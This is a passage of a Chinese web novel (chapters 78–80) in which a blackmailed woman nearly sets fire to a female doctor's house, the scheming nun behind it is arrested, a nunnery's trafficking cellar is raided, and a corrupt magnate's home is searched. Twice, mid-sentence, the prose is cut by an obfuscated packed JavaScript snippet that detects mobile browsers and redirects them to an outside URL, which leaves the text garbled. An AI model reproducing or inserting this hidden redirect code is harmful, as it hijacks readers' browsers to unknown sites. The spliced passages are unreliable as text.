“怎么，不请我进去坐坐？”水仙姑率先开口。声音透着一丝冷意。 崔娘子深吸一口气，转身引着水仙姑到了堂屋。 堂屋没有点灯，只有窗外透进来的月光，照出两个女人的轮廓。一个站着，一个靠着墙。 “你……你怎么来了？”崔娘子的声音发颤。 水仙姑看着她，慢慢走近一步。月光在她脸上投下明暗交错的光影，那张脸，此刻看起来像厉鬼。 “我不来，你会动手吗？” 崔娘子张了张嘴，说不出话。 水仙姑冷笑一声，从袖中取出一个小布包，塞进她手里。 “这是火油。淋在门窗上，一点就着。”她盯着崔娘子的眼睛，一字一句道，“今夜子时，我要看到柳枝巷那小院烧起来。里面的人，一个都不能活。” 崔娘子捧着那个布包，手抖得像筛糠。 “我……我做不到……”她声音微弱，“她们是好人，那许娘子救过那么多人……” “好人？”水仙姑笑了，那笑声在寂静的夜里格外刺耳，“玉娘，你跟我说好人？你放火烧死二十三个人的时候，怎么没想过他们是不是好人？” 崔娘子的脸色惨白如纸。 水仙姑凑近她，声音轻得像耳语，却字字诛心：“我告诉你，玉娘，你没有退路了。十年前那场火，你手上沾的血，这辈子都洗不干净。如今再多沾几个，又有什么区别？” 她退后一步，伸手抚了抚发间的金簪。那动作轻柔，像是在抚摸什么珍贵的东西。 “你若不答应，”她慢悠悠地说，“我这就去你女儿房里，带她走。你知道我要把她送去哪里吗？” 崔娘子的瞳孔猛地收缩。 水仙姑笑了：“送去北边。那里有人专门收这种小丫头，调教几年，能卖个好价钱。你放心，我不会让她死得太快的。” “不！”崔娘子扑通一声跪了下来，抓住水仙姑的衣角，“求你……求你别动她……她还是个孩子……” 水仙姑低头看着她，眼中没有半分怜悯。 “那就动手。”她说，“子时之前，把火点了。天亮之后，你我两清。” 她说完，挣开崔娘子的手，转身拉开房门，消失在夜色中。 门没有关，夜风灌进来，吹得屋里的帘子猎猎作响。 崔娘子跪在地上，手里还攥着那个布包。火油的腥气直冲鼻腔，让她几欲作呕。 她不知跪了多久，终于慢慢爬起来，踉跄着走到里屋门口。丫鬟茴香靠坐在墙角睡的正香。 女儿侧躺着，呼吸均匀。月光从窗缝透进来，照在她稚嫩的脸上。那眉眼，像极了她自己。 崔娘子看着那张脸，眼泪无声地流。 她想起十年前，自己也是这般年纪，被卖进翠玉楼。那些日子，那些噩梦，她这辈子都不愿再想起。她发誓，一定要让自己的女儿巧娘远离那些肮脏事，让她平平安安长大，嫁个好人家，过寻常日子。 可如今…… 她闭上眼，泪水顺着脸颊滑落。 子时。 她看了一眼桌上的更漏。还有半个时辰。 半个时辰。 崔娘子转身，走进自己屋里。崔旺今日不在，去码头办事了，要明日才回。这院子里，只有她和巧娘两个人。还有一个丫鬟茴香。 她从柜中翻出一件深色衣裳，换上。又找了块布，蒙住脸。最后，她拿起那个布包，掂了掂。 火油的腥气，像是催命的符咒。 她推开门，走进夜色。 柳枝巷深处，小院里一片寂静。 许娇娇躺在榻上，却睡不着。 从归平县回来后，她已经歇了三日。身上的伤好了，心里的惊也渐渐平了。静尘静心日日陪着她，变着法子做好吃的，刘寡妇隔三差五送些小菜来，连旺财都比从前黏人。 一切都好。 可她就是睡不着。 今夜尤其奇怪。明明累得很，躺下却怎么也闭不上眼。心里像是有什么东西堵着，闷闷的，慌慌的。 她翻了个身，透过窗纸看着外面的月光。月色很好，银辉洒了一地，映得窗前的月季都泛着光。 “怎么了？”身边传来静尘轻声的问。她今夜怕许娇娇一个人害怕，过来陪她睡。 “没事。”许娇娇轻声说，“就是睡不着。” 静尘沉默片刻，忽然道：“我也是。总觉得……心里不踏实。” 许娇娇转头看她。月光下，静尘的眉头微微蹙着，眼中带着一丝说不清的忧虑。 “你也感觉到了？” 静尘点了点头，又摇了摇头：“说不上来。就是……心慌。” 两人沉默着，谁也没再说话。 窗外，旺财忽然叫了一声。那叫声短促，像是被什么惊着了，随即又安静下来。 许娇娇坐起身，侧耳倾听。外面静悄悄的，只有风吹树叶的沙沙声。 “旺财？”她轻声唤道。 没有回应。 静尘也坐了起来，两人对视一眼，都在对方眼中看到了不安。 许娇娇披衣下床，走到门边，轻轻拉开一条缝。 院子里空无一人。月光洒满青石地面，那丛月季开得正好，暗香浮动。旺财趴在窝里，一动不动，像是睡着了。 她正要关门，忽然看见—— 院墙外的暗处，有什么东西闪了一下。 只是一瞬间，快得像错觉。可她看见了。 许娇娇的心猛地提了起来。她没有出声，只静静盯着那个方向。月光下，院墙的阴影里，似乎有什么东西在动。 是一个人。 一个穿着深色衣裳的人，正贴着墙根，慢慢往院门的方向移动。 许娇娇的呼吸凝住了。 她悄悄掩上门，没有发出一点声音。转身，她快步走回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376406|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榻边，从枕下摸出那把药刀。从归平县回来后，她就一直放在身边。 静尘看见她的动作，脸色也变了。她没有出声，只无声地下了床，跟到许娇娇身边。 两人贴着门，屏住呼吸，听着外面的动静。 夜风呜咽，树叶沙沙。除此之外，什么声音都没有。 院墙外，崔娘子贴着墙根站着，浑身发抖。 那个布包就在她怀里，沉甸甸的，像一块烧红的烙铁。她只需淋上火油，划一根火柴，一切就结束了。 可她的腿像灌了铅，一步都迈不动。 她看着那扇门，看着那堵墙，看着墙里透出来的微弱灯光。 那里面住着什么人？一个年轻的女医，两个尼姑，还有一条狗。那女医她见过，和气，温和，对她女儿都客客气气的。刘寡妇说，那是好人，救过许多人。 好人。 水仙姑的话又在她耳边响起：“你跟我说好人？你放火烧死二十三个人的时候，怎么没想过他们是不是好人？” 是啊。她有什么资格说好人？她手上沾着血，这辈子都洗不干净。 再多沾几个，又有什么区别？ 崔娘子闭上眼，手颤抖着，从怀里取出那个布包。 火油的腥气直冲鼻腔。她慢慢揭开盖子，那液体的晃动声，在寂静的夜里格外清晰。 一步。再一步。 她走到院门前。门是木头的，老旧，一碰就吱呀作响。她不敢碰门，只蹲下身，将火油往门缝里倒。 液体渗进去，发出轻微的滋滋声。 她倒完一包，又从怀里摸出第二包——水仙姑给了她两包，说是够用了。 继续倒。 门缝，墙根，窗棂。她像梦游一样，机械地重复着动作。 最后一包倒完，她站起身，从袖中摸出火折子。 火折子很小，握在掌心，凉得像冰。 她看着那扇门，看着那些被火油浸透的木缝，只要划一下，只要一下，火就会烧起来。烧掉这扇门，烧掉这个院子，烧掉里面所有的人。 就像十年前那样。 十年前。 她忽然想起那晚，翠玉楼的火光冲天。她站在后巷，看着那些尖叫着往外跑的人，看着那些被浓烟吞没的窗口……那些人，都死了。 二十三条人命。 她的手上，沾着他们的血。 崔娘子的手抖得更厉害了。火折子在掌心滚来滚去，却怎么也划不下去。 为什么？ 她问自己。为什么下不去手？ 因为那些人无辜？因为许娇杏是好人？因为她女儿也在隔壁，火一旦烧起来，会不会蔓延过去？ 还是因为—— 她已经不想再杀人了。 崔娘子猛地睁开眼。月光下，她的眼中满是泪水。 她做不到。 真的做不到。 她把火折子攥紧，转身要走—— 身后忽然传来一声轻响。 她猛地回头。月光下，一个人影正站在巷口。那人穿着一身黑衣，脸上带着诡异的笑，正是水仙姑。 “怎么？”水仙姑慢慢走近，“下不去手？” 崔娘子的腿软了。她想跑，可一步都迈不动。 水仙姑走到她面前，低头看着地上那些火油的痕迹，又看看她手里的火折子，笑了。 “好，你下不去手，我来。” 她伸手，从崔娘子手中夺过火折子。崔娘子想抢回来，却被她一把推开，踉跄着跌倒在地。 水仙姑拿着火折子，走向院门。 “不……”崔娘子挣扎着爬起来，想追上去，却被水仙姑回头一个眼神钉在原地。 那眼神，冷得像冰，带着杀气。 “你再动一步，我先杀了你，再杀你女儿。” 崔娘子僵住了。 水仙姑转过身，对着那扇门，缓缓举起火折子—— 就在这时，巷口忽然传来一阵急促的脚步声。 “站住！” 几道黑影从暗处冲了出来，为首那人，正是长风。 水仙姑脸色大变。她来不及点火，转身就跑。 可她只跑出几步，就被两个青衣汉子拦住了去路。 前有拦路，后有追兵。 水仙姑站在巷子中央，月光照着她惨白的脸。她看着那些围上来的人，忽然笑了。那笑声在寂静的夜里格外刺耳，像是绝望的嘶鸣。 长风走到她面前，冷冷道：“水仙姑，你的事发了。跟我们走一趟吧。” 水仙姑没有说话。她只是笑着，笑着，笑到最后，眼泪都流了出来。 崔娘子瘫坐在墙角，浑身发抖。她看着这一切，看着水仙姑被按住，看着长风带人检查那些火油的痕迹，看着那扇险些被点燃的院门…… 门忽然开了。 许娇娇站在门内，披着外衣，手里握着那把药刀。她看着外面的混乱，看着瘫坐在地上的崔娘子，看着被押住的水仙姑，眼中闪过复杂的情绪。 长风快步走过来，低声道：“许娘子，没事了。这贼尼姑想放火，被咱们当场擒获。” 许娇娇点了点头，目光却落在崔娘子身上。 崔娘子低着头，不敢看她。 许娇娇沉默片刻，走到她面前，蹲下身。 “为什么？”她问。 问她为什么没有点火，还是问她为什么要点火？ 崔娘子眼神有瞬间的茫然，接着眼中浮上惊怕、愧疚、后悔、绝望与一丝解脱的神情来。 她的眼泪夺眶而出，捂着脸，嚎啕大哭。 夜风穿巷而过，吹散了火油的腥气。月光洒在这一地狼藉上，照着那个被押住的水仙姑，照着那个痛哭的崔娘子，也照着站在门内神色复杂的许娇娇。 79. 第79章 查抄水月庵 水仙姑被押走后，柳枝巷重归寂静。 许娇娇站在院门口，看着长风指挥手下清理现场。火油的气味还未散尽，混着夜风的清冷，呛得人喉头发紧。崔娘子依旧瘫坐在墙角，被两个青衣汉子看守着，低着头，肩膀不住地颤抖。 隔壁崔家的院门忽然被拉开了一道缝。 一个小小的脑袋探了出来，是崔娘子的女儿巧娘。她一双眼睛又圆又亮，此刻却满是惊恐。她身后还站着穿青布衣裙丫鬟茴香，正是崔家唯一的下人。 “阿娘——”巧娘看见瘫坐在地上的崔娘子，惊呼一声，就要冲出来。 茴香一把拽住她，将她护在身后，自己却也在发抖。她看着院门外那些持刀的汉子，看着被按在地上的崔娘子，嘴唇哆嗦着，脸色惨白如纸。 “别、别出来……”崔娘子听见女儿的声音，猛地抬起头，声音沙哑得几乎听不清，“巧娘听话……回屋去……” 巧娘哪里肯听，挣扎着要往这边跑。茴香死死拽着她，急得眼泪都快下来了：“姑娘，姑娘不能出去……” 一个青衣汉子转头看了她们一眼，往前迈了一步。茴香吓得往后一缩，却还是把巧娘护在身后，颤声道：“你、你们要干什么……我家夫人犯了什么事……” 那汉子没有理会她，只守在原地，面无表情。 许娇娇看着这一幕，心头也不是滋味。 她想起这些日子，偶尔在巷子里遇见巧娘。那孩子总是怯生生地跟在她娘身后，见了人就低头，连招呼都不敢打。崔娘子把她护得紧，从不让她一个人出门，也从不让她和巷子里的孩子们玩。那时候许娇娇只当是寻常人家的谨慎，如今想来，那分明是一个母亲时刻提防着仇家的惶恐。 “茴香，”许娇娇开口，声音有些涩，“把巧娘带进去吧。夜里风凉，别冻着。” 茴香愣了一下，看向她的目光里满是复杂。有感激，有戒备，还有一丝说不清的惧怕。她张了张嘴，想说什么，最终只点了点头，拉着巧娘往屋里退。 “阿娘——”巧娘还在挣扎，声音里带了哭腔，“阿娘你什么时候回来……” 崔娘子低着头，没有回答。她不敢看女儿。她怕看一眼，就再也撑不住了。 院门被茴香从里面关上，隔绝了那巧娘的哭声。 许娇娇站在原地，夜风吹起她的衣角，凉意透进骨子里。她看着那个方向，看着那扇紧闭的门，心里像是塞了一团乱麻。“许娘子，”长风走过来，低声道，“今夜让您受惊了。这罗氏……”他瞥了崔娘子一眼，“大人吩咐，先带回行辕审问。您早些歇息。” 许娇娇点了点头，却没有立刻转身。她看着崔娘子，月光下那张脸上满是泪痕，狼狈不堪。她想起这些日子，这个妇人每日出入巷口时的温顺模样，想起她偶尔打招呼时那低眉顺眼的模样，想起刘寡妇说她看着和善的话。 和善。 许娇娇心中涌起一股说不清的复杂情绪。这世上的和善，有多少是真的，又有多少是装的？ 她若有似无的轻叹一声，转身回了院子。 静尘和静心跟在她身后，三人进屋，闩上院门。旺财从窝里爬起来，摇着尾巴凑过来，用脑袋蹭她的腿。许娇娇弯腰摸了摸它的头，那皮毛温热，让她心里稍微安定了些。 “都睡去吧。”她轻声道，“没事了。” 翌日清早，天色刚蒙蒙亮，长风又来了。 “许娘子，郎主让小的来接您。”他站在院门口，脸上的神色比昨夜轻松了些，“水仙姑那边，审出些东西了。” 许娇娇点头，和静尘静心交代了几句，就换了身干净的衣裳，随他出门。 马车一路往北，却不是去钦差行辕的方向。许娇娇掀开车帘看了一眼，认出这是去归平县的路。 “长风大哥，咱们这是去归平吗？”许娇娇问了声。 长风回过头，压低声音道：“水月庵。郎主今早带人过去了，让小的接您去认认地方。” 认认地方。 许娇娇没有再多问。 马车走得快，不到一个时辰便到了归平县界。沿着那条她再熟悉不过的山路往上，远远便看见了水月庵的青瓦白墙。 那庵堂建在半山腰，四周竹林环绕，往日看着清幽雅致，此刻却被一队队青衣劲装的侍卫围得水泄不通。庵门大敞，隐约能看见里面人影攒动，时不时传出女子的哭喊声和呵斥声。 马车在庵门外停下。许娇娇下车时，正撞见几个侍卫押着几个灰袍尼姑出来。那些尼姑她大多数都不认识，应该都是水月庵里的人，她们往日跟着水仙姑作威作福，如今一个个垂头丧气，面如死灰。 “许娘子。”长风引着她们往里走，“郎主吩咐，让您先去后院看看。” 后院。 许娇娇脚步微顿。那里，是水月庵最隐秘的地方。 穿过前殿，绕过一道月洞门，便是后院。这里比前院安静得多，只有几个侍卫守在院中，神色肃穆。院角那棵老歪脖子枣树依旧立在那里，光秃秃的枝桠伸向灰蒙蒙的天空，树下新翻的泥土还带着潮湿的气息。 裴宴就站在那棵枣树下，玄色氅衣衬得他整个人清冷如霜。他身边还站着几个人。归平县令周景明、都头刘大勇，还有两个穿着官袍的生面孔，大约是归平县衙的官员。 听见脚步声，裴宴回过头。目光落在许娇娇身上时，那冷峻的眉眼微微柔和了些。 “来了。”他说，声音不高，却足够清晰。 许娇娇上前敛衽行礼。目光却不由自主地落在那堆新土上。那里，隐隐能看见一些人的骨头。 许娇娇心猛地一缩。 “了尘师父。”裴宴的声音从身侧传来，“八年前被水仙姑毒死，埋在此处。静尘的证词，和昨夜水仙姑的招供对上了。” 许娇娇闭上眼，深吸一口气。 了尘。那个在水月庵里唯一真正慈悲的师父。静尘日日念叨的恩师。她从未见过，却从静尘口中听过无数遍。如何收留她，如何教她识字读经，如何在发现水仙姑的恶行后试图报官，又如何被水仙姑毒害。 如今，真相终于大白。 许娇娇双手合十心中暗暗祷告：了尘师父您可以瞑目了，你的大仇马上就可以得报。 裴宴没有说话，只静静站在她身旁。 片刻后，一个侍卫快步走来，躬身禀报：“天使，后院地窖找到了。” 许娇娇心头一震。地窖。 那是静心曾经无意中窥见的地方，是那些被拐卖的女子被关押的地方。她曾听静心描述过——阴暗潮湿，恶臭难闻，里面关押过女子，最大的不过二十，最小的才十二三岁。 裴宴点了点头，迈步往后院深处走去。走了几步，他回头看了许娇娇一眼。 那一眼，让她跟了上去。 许娇娇轻轻点头跟了上去。 地窖的入口在后院一间偏僻的柴房里，被一堆烂柴禾遮掩着。侍卫们已经清理干净，露出一扇半朽的木门。门一推开，一股混合着霉味、尿骚味和绝望气息的恶臭扑面而来，熏得人几乎窒息。 许娇娇忍住那股恶心，跟着裴宴走下台阶。 地窖不大，约莫两丈见方，四壁潮湿，长满青苔。墙角堆着发霉的稻草，上面蜷缩着几个瘦骨嶙峋的身影。听见脚步声，她们瑟瑟发抖，缩成一团，不敢抬头。 借着侍卫手中的火把，许娇娇看清了她们的脸。年轻，却都憔悴得不成人形。有的脸上带着伤，有的眼神空洞，有的嘴里发出含混不清的呜咽声。 裴宴站在地窖中央，沉默地看着这一切。火光在他脸上跳跃，映出那双眼睛里翻涌的暗流。 许娇娇走到那几个女子面前，蹲下身，轻声道：“别怕，我们是来救你们的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377183|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那几个女子抬起头，用惊恐而茫然的眼神看着她。那眼神，像被猎人追到绝路的兔子，不敢信，不敢动，只敢缩在那里瑟瑟发抖。 许娇娇的心像被人狠狠攥了一把。 “一共多少人？”裴宴的声音从身后传来。 侍卫答道：“回大人，目前清点出九人。还有几个……”他顿了顿，声音低了下去，“已经没了。” 没了。 这两个字轻飘飘的，却重得让人喘不过气。 良久，裴宴才开口：“把人带出去，好生安置。找大夫来诊治，给她们换衣裳，喂饱饭。问清姓名籍贯，设法送她们回家。若无处可去的……” 可送去城西养济院。 走出地窖时，阳光从云层缝隙洒下来，照得人眼睛发痛。许娇娇站在院子里，深深吸了一口新鲜空气，才觉得那股窒息感慢慢散去。 身后，那些女子被一个一个扶了出来。她们站在阳光下，有的哭，有的抖，有的只是呆呆地望着天，像是第一次看见这个世界。 周景明走过来，一脸愧色向裴宴拱手道：帅使，前殿那边也搜出不少东西。账本、信件、还有……”他顿了顿，压低声音，“一些不该出现在尼姑庵里的东西。” 裴宴眸光微冷：“带路。” 一行人往前殿走去。路过那棵老歪脖子枣树时，许娇娇忍不住又看了一眼。树下，了尘的遗骨已经被小心收敛，装进了一个白布包裹。旁边，有人正在烧纸钱，青烟袅袅，随风飘散。 她双手合十，又默默行了一礼。 前殿里，几个侍卫正将搜出来的东西一一登记造册。账本摞了厚厚一沓，信件用木匣装着，还有几个打开的箱笼，里面绫罗绸缎、金银首饰，堆得满满当当。 许娇娇目光落在那几个箱笼上。那些东西，哪一样都不该出现在一个清修的尼姑庵里。 裴宴拿起一本账册，翻了几页，眉头越皱越紧。 “景和十六年春，送苏州女子三人，得银一百二十两。景和十六年夏，送杭州女子四人，得银一百八十两。景和十六年秋，送……”他一页页翻下去，声音越来越冷，“每一条都记得清清楚楚。时间、人数、所得银两、交接之人。水仙姑倒是个细心人。” 周景明在一旁擦着冷汗。这些账册，记载的可不是简单的买卖。那些女子的去向，交接之人，背后牵扯的势力……每一条，都可能掀翻一船人。 许娇娇站在一旁，没有凑近去看。她知道，这些东西，已经不是她能碰的了。 日头渐渐升高，查抄还在继续。前殿后院，厢房禅房，每一处都被翻了个底朝天。又搜出几箱金银细软，几捆往来信件和账册。 “许娘子。” 长风不知何时走到她身边，低声道：“郎主让小的送您回去。这里的事，差不多了。” 许娇娇点了点头，最后看了一眼这座庵堂。青瓦白墙，竹林环绕，从外面看依旧清幽雅致。可她知道，这清幽之下，埋着多少白骨，藏着多少罪恶。 马车沿着山路缓缓下行。透过车帘，她看见那些侍卫还在忙碌，看见周景明站在庵门口送别裴宴，看见那面写着“水月庵”的匾额被摘下，摔在地上，断成两截。 她收回目光，靠在车壁上，长长吐出一口气。 了尘师父的仇，报了。那些被拐卖的女子，得救了。水仙姑的罪恶，终于被掀在光天化日之下。 可她心里，却没有想象中的轻松。 因为还有太多事没有结束。 王大官人，还在归平县逍遥。崔琰，还在发运使的位置上坐着。那个翠玉楼大火背后的“宋兄”，还没有落网。而那些被贩卖的女子，有多少已经无法追回，有多少早已香消玉殒？ 许娇娇闭上眼，不愿再想。 马车驶出山区，上了官道。车轮滚滚向前，离那座庵堂越来越远。 80. 第80章 双线并行 王大官人的宅邸坐落在县城东街，占地三进，青砖黛瓦，门楼高耸，一对石狮蹲在门外，睥睨着过往行人。平日里这个时候，府里正是热闹的时候。后院的戏台上锣鼓喧天，前厅的酒席上觥筹交错，门房里等着求见的人排成一溜，手里提着各色礼盒，脸上堆着谄媚的笑。 可今夜，宅邸里却安静得有些反常。 书房里，王兆贵坐在太师椅上，手里捏着一封信，眉头紧锁。 信是下午送来的，送信的人他不认识，只说受人之托。信上只有短短几行字，“水月庵出事，速做准备。” 水月庵。 这三个字让王兆贵心里一阵发紧。他派人去打听，可派出去的人到现在还没回来。他又让人去县衙那边探消息，可县衙那边也三缄其口，什么都不肯说。 “他娘的。”王兆贵骂了一句，将信拍在桌上。 他在归平县横行惯了，什么时候受过这种窝囊气？往常有什么事，县衙那边早就有人通风报信了。可这回，那些平日里拿了他好处的人，一个个都像锯了嘴的葫芦，一个字都问不出来。 更让他不安的是，那个姓裴的钦差，自从把那女医带走后，就再没有动静。没有抓人，没有审案，没有下文。可越是没动静，他越觉得不对劲。 “老爷。”一个管事模样的中年人探头进来，脸上带着谄媚的笑，“晚膳备好了，您是在书房用，还是去后头……” “滚！”王兆贵一挥手，那管事吓得缩了缩脖子，连滚带爬地跑了。 王兆贵站起身，在书房里踱来踱去。他想起那个女医被抓那日，自己还特意让人去县衙门口看了热闹。那时候他以为，这事就算完了。那女医得罪了水仙姑，水仙姑是他的人，他自然要替她出头。一个无亲无故的野郎中，还能翻出什么浪花来？ 可如今，水仙姑那边先出了事。 “难道……”他忽然停下脚步，一个念头闪过脑海。难道那姓裴的钦差，真的敢动他？ 不可能。 王兆贵摇了摇头，自我安慰地想。他是什么人？他是归平县的王大官人，产业遍布全县，和县尊称兄道弟。他弟弟王兆仁是菰城司户参军，那是实打实的朝廷命官。他干爹崔琰崔使相，更是手掌江南漕运的大人物。 那姓裴的钦差再厉害，也不过是个过路的。他敢动自己？他凭什么？ 想到这里，王兆贵心里又安定了些。他重新坐回太师椅上，端起茶盏抿了一口。茶已经凉了，他皱了皱眉，正要唤人来换，忽然听见外面传来一阵急促的脚步声。 “老爷！老爷！”方才那个管事又跑了进来，这回脸上没了谄媚，只有惊恐，“不、不好了！外头来了一队人，穿着公服，拿着刀，把府门堵了！” 王兆贵腾地站起来，茶盏“啪”一声摔在地上，碎成几瓣。 “什么人？” “不、不知道！为首那人说……说是钦差的人！” 钦差。 这两个字像一记闷雷，砸在王兆贵心头。他愣了片刻，随即猛地冲向书房后门。那里有一条暗道，直通后院，是他早就备下的退路。 可他还来不及推开那扇门，前院已经传来一阵喧哗。 “砰——” 大门被撞开的声音，伴随着女人的尖叫声、丫鬟的哭喊声、家丁的呵斥声，混成一片。王兆贵僵在原地，手还搭在门闩上，却怎么也推不开那扇门。 “王大官人，别来无恙啊。” 一个年轻男子的声音从身后传来。王兆贵僵硬地转过身，看见一个穿着玄色劲装的年轻人正站在书房门口，身后跟着十几个同样打扮的汉子，腰间都挎着刀。 长风管事。 王兆贵认得他。那日在县衙门口，就是这个人把那闹事的管事押进去的。他是钦差的人。 “你、你们想干什么？”王兆贵强撑着镇定，声音却止不住地发抖，“私闯民宅，还有没有王法了？” “王法？”长风笑了，那笑容里带着毫不掩饰的嘲讽，“王大官人，你跟咱们谈王法？” 他一挥手，身后的侍卫鱼贯而入，将书房搜了个底朝天。王兆贵想拦，却被两个侍卫按住肩膀，动弹不得。 “你们要干什么？放开我！我是王兆贵！我弟弟是菰城司户参军！我干爹是崔琰崔使相！你们敢动我？” 他的声音越来越尖厉，像被踩了尾巴的猫。可那些侍卫充耳不闻，只顾翻箱倒柜。 书房外，整个宅邸已经乱成一锅粥。 后院里，十七八个打扮得花枝招展的小妾们挤成一团，有的哭，有的叫，有的抱着首饰匣子不肯撒手。几个通房丫头缩在墙角，瑟瑟发抖。丫鬟婆子们四处乱窜，被侍卫们一个个拦住。 可在这片混乱中，有一个人却安静得反常。 范氏。 王大官人的正妻，此刻正站在正房的廊下，冷冷地看着这一切。 她穿着一身半旧的酱色褙子，头发梳得一丝不苟，脸上没有表情。那些小妾们的哭喊声、侍卫们的呵斥声，仿佛都跟她没有关系。她就那么站着，看着那些人冲进后院，看着那些箱笼被打开，看着那些金银细软被一箱箱抬出去。 一个侍卫走过来，见她站着不动，愣了愣，随即道：“这位娘子，请暂时回避，我们要搜查。” 范氏看了他一眼，忽然笑了。 那笑容很诡异，却让那侍卫心里莫名一寒。 “搜吧。”她说，声音平静得像在说今天的天气，“我知道东西藏在哪里。我带你们去。” 侍卫愣住了。 范氏已经转身，往正房走去。走了几步，她回头看了那侍卫一眼：“怎么？不来？” 侍卫连忙跟了上去。 正房里，范氏走到床边，在床头的雕花板上按了几下。只听“咔哒”一声，床板弹开，露出一个暗格。 暗格里，整整齐齐码着几摞账本，还有一沓用油纸包着的信件。 “这些，”范氏指着那些东西，“是他这些年所有见不得人的账目。买卖人口、贿赂官员、私贩私盐，都记在这里。那些信，是他和崔琰、王兆仁来往的密信。” 侍卫瞪大了眼，一时不知该说什么。 范氏没有理会他的震惊，又从袖中摸出一把钥匙，递给他：“后院的柴房里还有一口井，井壁上有个暗洞，里面藏着这些年他搜刮来的金银。钥匙在这儿。” 侍卫接过钥匙，手都有些发抖。他做了这么多年公差，还从没见过这样的正妻。亲手把丈夫的罪证交出来，亲手把丈夫的藏宝地点指出来。 “娘子……”他忍不住问，“你这是……” 范氏没有回答。她转身走出正房，重新站回廊下，看着那些被押着往前院去的妾室们，看着那些被抬出去的箱笼，看着那些惊慌失措的下人。 她的脸上，始终没有表情。 直到前院传来一阵喧哗。那是王兆贵被押出来时，挣扎着喊叫的声音。 范氏的瞳孔猛地收缩了一下。 她迈步，一步一步往前院走去。 前院里，王兆贵被两个侍卫押着，还在拼命挣扎。他的衣袍乱了，头发散了，脸上不知在哪里蹭了一道灰，狼狈不堪。可他嘴里还在喊：“你们等着！我干爹不会放过你们的！我兄弟不会放过你们的！” “干爹？兄弟？”一个冷冷的声音从人群外传来。 王兆贵抬起头，看见范氏正穿过人群，一步一步向他走来。 她走得很慢，每一步都很稳。月光照在她脸上，那张向来冷淡清瘦的脸上，此刻竟带着一种奇异的神情，像是恨，又像是快意，还带着一丝让人看不懂的疯狂。 “你……”王兆贵瞪着她，“你这个贱人！是你？是你把那些人引进来的？” 范氏没有回答。她走到他面前，停下脚步，就那么看着他。 月光下，两人对峙着。一个被押着，狼狈不堪；一个站着，面色平静。 “王兆贵，”范氏终于开口，声音不高，却字字清晰，“你还记得辉哥儿吗？” 辉哥儿。 这两个字像一盆冰水，浇在王兆贵头上。他愣住，脸上所有的表情都僵住了。 范氏看着他的反应，忽然笑了。那笑声很轻，很冷，像冬夜里刮过的风。 “你不记得了，对吧？”她说，“你儿子那么多，庶出的、外头养的，少说也有十几个。辉哥排行第三，他是嫡子，是我生的嫡子。你当然不记得了。” 王兆贵的嘴唇动了动，想说什么，却什么都说不出来。 “他七岁那年，”范氏继续说，声音越来越冷，“你从外头带回来一个女子，说是新纳的妾。那女子不安分，在府里兴风作浪，我教训了她几句。你为了给她出气，让人把辉哥儿关进柴房，三天三夜不给吃不给喝。” 她的声音开始发抖，却还在继续说：“辉哥儿本来身子就弱，三天后出来，人就烧糊涂了。你请过大夫吗？你问过一句吗？你没有。你忙着哄那个贱人，忙着跟你的狐朋狗友吃酒，忙着你的生意买卖。” “辉哥儿烧了三天三夜，我一个人守着他。你来看过一眼吗？没有。他死的那天夜里，你还在后院喝酒听戏。我让人去叫你，你回了一句——‘死了就死了，有什么大惊小怪的’。” 范氏说到这里，声音已经哽咽，可她没有哭。她只是死死盯着王兆贵，那双眼睛里燃烧着八年的恨意。 “死了就死了！”她重复着这两个字，忽然笑了，“你儿子，你亲生的儿子，死了就死了。那你呢？你算什么东西？你不过是个泥腿子出身，靠着你弟弟和那个阉人爬上来的暴发户，你为什么不去死？” 王兆贵的脸涨得通红，他想骂回去，可那两个字堵在喉咙里，怎么也出不来。 “这八年，”范氏说，“我日日夜夜都在想，什么时候能看到你遭报应。我求过神，拜过佛，可老天爷不开眼，你反而越过越风光。我以为这辈子都等不到了。” 她转过身，看向那些侍卫，看向那些被抬出去的账本和信件，看向被押在一旁的那些小妾，最后又转回来，看着王兆贵。 “没想到，老天爷还是开了眼。” 她忽然仰起头，对着夜空，发出一声长啸—— “辉哥儿！我的儿！你的大仇得报了！” 那声音凄厉，像是把八年的恨都喊了出来。在场的人都被这一声震住了，连那些哭喊的小妾都停了声，愣愣地看着她。 王兆贵的脸涨成猪肝色，他挣扎着要扑上去，却被两个侍卫死死按住。 “贱人！”他破口大骂，“你这个贱 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范氏看了他一眼，点了点头。她最后看着王兆贵，那眼神复杂极了。有恨，有快意，还有一丝说不清的悲凉。 “王兆贵，”她轻声道，“你会下地狱的。” 说完，她转身，一步步走回后院。月光照着她的背影，那背影挺直，却又显得格外孤单。 王兆贵瘫软在地上，浑身发抖。 长风一挥手：“带走。” 菰城城北，王兆仁的私宅。 赵斌带着人赶到时，宅门紧闭，里面一片漆黑。他一脚踹开门，带人冲了进去。 “搜！” 侍卫们四散开来，一间间搜查。赵斌直奔书房。那是王兆仁平日理事的地方，也是最有可能藏着秘密的地方。 书房的门虚掩着。赵斌推开门，一股焦糊味扑面而来。 不好！ 他冲进去，看见王兆仁正蹲在火盆前，疯狂地往里面扔着一沓沓信件。火苗蹿得老高，映得他脸上明明灭灭。 “住手！” 赵斌一脚踹过去，王兆仁被踹翻在地，火盆也被踢翻，信件散落一地。赵斌连忙扑上去，用手将那些还没烧完的信件抢出来。 